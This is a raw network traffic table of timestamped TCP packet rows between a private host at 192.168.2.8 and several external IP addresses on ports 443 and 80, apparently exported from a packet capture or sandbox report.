Nov 25, 2024 03:39:47.683742046 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.683758974 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.684792042 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.684880972 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.685252905 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.685305119 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.685417891 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.692682981 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.692707062 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.692909956 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.692929029 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.692982912 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.693161964 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.693188906 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.693197012 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.693310022 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.693322897 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.731342077 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.769028902 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.769028902 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.769059896 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.781302929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781330109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781342030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781371117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.781393051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.781423092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781435013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781450987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781462908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781466961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.781476021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.781498909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.781528950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.789738894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.789796114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.791446924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.791495085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.791539907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.791584015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.799891949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.800020933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.809190035 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.813162088 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.813256025 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.813271999 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.824774027 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.824834108 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.824847937 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.834403992 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.834455013 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.834487915 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.838182926 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.838207960 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.838232994 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.838274002 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.838294983 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.838306904 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.838309050 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.838361025 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.839015961 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.839032888 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.847130060 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.847582102 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.847610950 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.860718012 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.860775948 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.860800982 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.874341965 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.874430895 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.874454021 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.893548012 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.893573046 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.900774002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.900844097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.910868883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.910927057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.910975933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.911078930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.932780981 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.932806969 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.932868958 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.932910919 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.932965040 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.941195011 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.954560995 CET	49798	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.954601049 CET	443	49798	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.954778910 CET	49798	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.955265999 CET	49798	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.955286026 CET	443	49798	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.972295046 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.991746902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.991905928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.992043972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.995752096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.995820045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.995831966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.995889902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.002089977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.002137899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.002175093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.002216101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.003463030 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.003479958 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.010128975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.010173082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.010202885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.010241032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.010428905 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.013875961 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.016588926 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.016604900 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.018213987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.018312931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.018317938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.018477917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.023236036 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.023730040 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.023741007 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.026341915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.026393890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.026447058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.026592970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.031614065 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.031879902 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.031888962 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.034519911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.034537077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.034816980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.042561054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.042622089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.042664051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.042747021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.043481112 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.043565035 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.043581963 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.049534082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.049580097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.049592018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.049865961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.050798893 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.050879955 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.051131964 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.051259995 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.051276922 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.053473949 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.053560972 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.053633928 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.053797007 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.053807974 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.056529999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.056626081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.056658983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.056698084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.056946993 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.057012081 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.057028055 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.063493967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.063555002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.063582897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.063595057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.070461035 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.071609974 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.071624041 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.084031105 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.084074020 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.084080935 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.097975969 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.098041058 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.098047972 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.110476017 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.110543013 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.110549927 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.118859053 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.118922949 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.118974924 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.119123936 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.119139910 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.121190071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.121303082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.121305943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.121454000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.122267008 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.122306108 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.122317076 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.124633074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.124679089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.134150028 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.134269953 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.134278059 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.145802975 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.145860910 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.145886898 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.157634020 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.157845974 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.157871962 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.182337046 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.182462931 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.182495117 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.186574936 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.186614037 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.186625004 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.186652899 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.186687946 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.195036888 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.202007055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.202105999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.202172041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.203424931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.203475952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.203486919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.203561068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.206295013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.206403017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.206523895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.211152077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.211220980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.211246967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.211267948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.212654114 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.212707043 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.212737083 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.216029882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.216126919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.216188908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.216990948 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.217056036 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.217078924 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.220886946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.220958948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.220976114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.221018076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.222462893 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.222513914 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.222528934 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.222547054 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.222583055 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.225748062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.225814104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.225867033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.225908041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.227320910 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.230604887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.230670929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.230710030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.230751991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.233320951 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.233372927 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.233381987 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.235440969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.235498905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.235547066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.235593081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.240297079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.240369081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.240413904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.240457058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.240885973 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.240930080 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.240950108 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.240963936 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.241039038 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.245141029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.245202065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.245212078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.245459080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.248383045 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.250004053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.250072956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.250086069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.250116110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.254865885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.254983902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.255062103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.255959034 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.256061077 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.256115913 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.256143093 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.256370068 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.259145975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.259255886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.259335041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.263453960 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.263457060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.263524055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.263562918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.263689041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.267755985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.267851114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.267901897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.270909071 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.270989895 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.271012068 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.272130013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.272243023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.272310019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.276367903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.276479006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.276550055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.279083014 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.279138088 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.279149055 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.280713081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.280806065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.280807972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.280850887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.284991980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.285043955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.285181046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.285181046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.286041975 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.286133051 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.286197901 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.286209106 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.286358118 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.289308071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.289402962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.289478064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.293637037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.293699980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.293709040 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.293719053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.293750048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.297864914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.301150084 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.301207066 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.302000046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.302062035 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.302093029 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.302290916 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.308649063 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.316139936 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.316205025 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.316220999 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.323720932 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.323755980 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.323807955 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.323817968 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:48.324165106 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:48.331573009 CET	80	49748	185.215.113.206	192.168.2.8
